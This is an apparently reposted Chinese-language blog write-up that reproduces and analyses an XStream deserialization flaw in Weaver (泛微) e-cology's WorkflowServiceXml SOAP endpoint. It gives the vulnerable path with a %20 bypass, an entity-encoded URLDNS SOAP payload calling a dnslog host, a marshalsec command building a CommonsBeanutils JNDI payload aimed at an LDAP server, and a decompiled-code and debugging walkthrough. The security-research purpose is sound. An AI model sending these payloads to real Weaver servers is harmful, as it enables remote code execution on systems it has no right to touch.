泛微 WorkflowService反序列化漏洞


前言:在实战中碰到了,但是发现怎么打就是没反应,经过测试,最后发现只有80端口出网,最后正好学习java,顺带一起学习了解泛微,搭建泛微最后也没搭建成功,但是services可以调用了,所以凑合着用吧...

源码提供,谢谢逗神!

参考文章:https://www.anquanke.com/post/id/239865

漏洞复现

在自己搭建的环境中,我发现这个services是可以直接进行调用的,也不需要%20来进行绕过,应该还是版本的问题,以后看了源码自己知道了再补上,这里仅仅复现

但是发现加了%20也同样可以进行访问

URLDNS:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="webservices.services.weaver.com.cn">
   <soapenv:Header/>
   <soapenv:Body>
      <web:doCreateWorkflowRequest>
    	<web:string>&lt;&#109;&#97;&#112;&gt;&#13;&#10;&#32;&#32;&lt;&#101;&#110;&#116;&#114;&#121;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#117;&#114;&#108;&gt;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#105;&#111;&#115;&#119;&#56;&#99;&#46;&#100;&#110;&#115;&#108;&#111;&#103;&#46;&#99;&#110;&lt;&#47;&#117;&#114;&#108;&gt;&#13;&#10;&#32;&#32;&#32;&#32;&lt;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#105;&#111;&#115;&#119;&#56;&#99;&#46;&#100;&#110;&#115;&#108;&#111;&#103;&#46;&#99;&#110;&lt;&#47;&#115;&#116;&#114;&#105;&#110;&#103;&gt;&#13;&#10;&#32;&#32;&lt;&#47;&#101;&#110;&#116;&#114;&#121;&gt;&#13;&#10;&lt;&#47;&#109;&#97;&#112;&gt;</web:string>
        <web:string>2</web:string>
      </web:doCreateWorkflowRequest>
   </soapenv:Body>
</soapenv:Envelope>

CommonsBeanutils JNDI注入

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream CommonsBeanutils ldap://192.168.1.230:1389/uk1zlp > cbu.xml

命令执行成功:

数据包回显执行命令

暂且不写,到时候学习becl调用链再来补上!

漏洞分析

按照自己学的,对于servlet filter等相关的映射一般都在web.xml中进行实现

漏洞的URL为:/services%20/WorkflowServiceXml

这边就直接去找对应的services.xml,我这里找到的路径为classbean\META-INF\xfire\services.xml

   <!--增加新的webservice  -->
    <service>
    <name>WorkflowServiceXml</name>
    <serviceClass>weaver.workflow.webservices.WorkflowServiceXml</serviceClass>
    <implementationClass>weaver.workflow.webservices.WorkflowServiceImplXml</implementationClass>
  </service>

这里就直接去对应的包中进行寻找weaver.workflow.webservices.WorkflowServiceImplXml

这里通过jd-gui来进行字节码的反编译,如下图所示,因为有POC了,这里分析的话那么就可以直接定位doCreateWorkflowRequest这个函数的地方了,

这种基于webservices的,一般都是通过xml来进行传输数据,解析的话一般都是通过手动xml来进行解析,或者通过第三方组件来帮助进行解析xml,那么就有可能触发反序列化,比如XStream

  public String doCreateWorkflowRequest(String paramString, int paramInt)
  {
    try
    {
      WorkflowRequestInfo localWorkflowRequestInfo = (WorkflowRequestInfo)this.xmlutil1.xmlToObject(paramString);
      localWorkflowRequestInfo = getActiveWorkflowRequestInfo(localWorkflowRequestInfo);
      RequestInfo localRequestInfo = toRequestInfo(localWorkflowRequestInfo);
      if ((localRequestInfo.getCreatorid() == null) || (localRequestInfo.getCreatorid().isEmpty())) {
        localRequestInfo.setCreatorid(paramInt + "");
      }
      if (!localRequestInfo.getCreatorid().equals(paramInt + "")) {
        localRequestInfo.setCreatorid(paramInt + "");
      }
      localRequestInfo.setIsNextFlow(localWorkflowRequestInfo.getIsnextflow());
      return this.requestService.createRequest(localRequestInfo);
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
      writeLog(localException);
    }
    return null;
  }

通过URLDNS来进行试探,基于XML形式的URLDNS payload如下:

<map>
  <entry>
    <url>http://1xsz12.dnslog.cn</url>
    <string>http://1xsz12.dnslog.cn</string>
  </entry>
</map>

因为调试不了泛微,所以我们自己用XStream组件来进行调试,这里顺带分析,因为后面自己会学习XStream,顺便先来了解下

导入maven依赖包:

    <!-- https://mvnrepository.com/artifact/com.thoughtworks.xstream/xstream -->
    <dependency>
      <groupId>com.thoughtworks.xstream</groupId>
      <artifactId>xstream</artifactId>
      <version>1.4.15</version>
    </dependency>

发现触发了URLDNS

XStream URLDNS调试过程

通过上面两个默认的parse和NameCoder来创建一个HierarchicalStreamReader返回

接着就是开始调用unmarshal,最后来到如下,途中还可以发现,如果没有设置相关的Security framework,它还会打印出来提醒,说明XStream应该也提供了一系列的安全操作

接着构建了一个TreeUnmarshaller对象

该对象包含了如下属性

接着就是开始start函数

他会先解析当前xml,现在存储了一个hashMap,那么它则通过readClassType获取其中的接口类Map

接着就是convertAnother,这个函数就会进行相关的解析操作,不分析了,感觉直接扔到这边,就当粗略的了解下XStream,最后就是进行转换的操作,对应的XML会转换为一个HashMap

HashMap的put函数

接下来就是就会进行请求DNS,这里就不继续分析了,后面就跟URLDNS一样

继续回到泛微的,那么我们就知道了XStream能够对paramString参数 public String doCreateWorkflowRequest(String paramString, int paramInt),进行相关反序列化的操作,自然拿其他利用链也是可以的


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM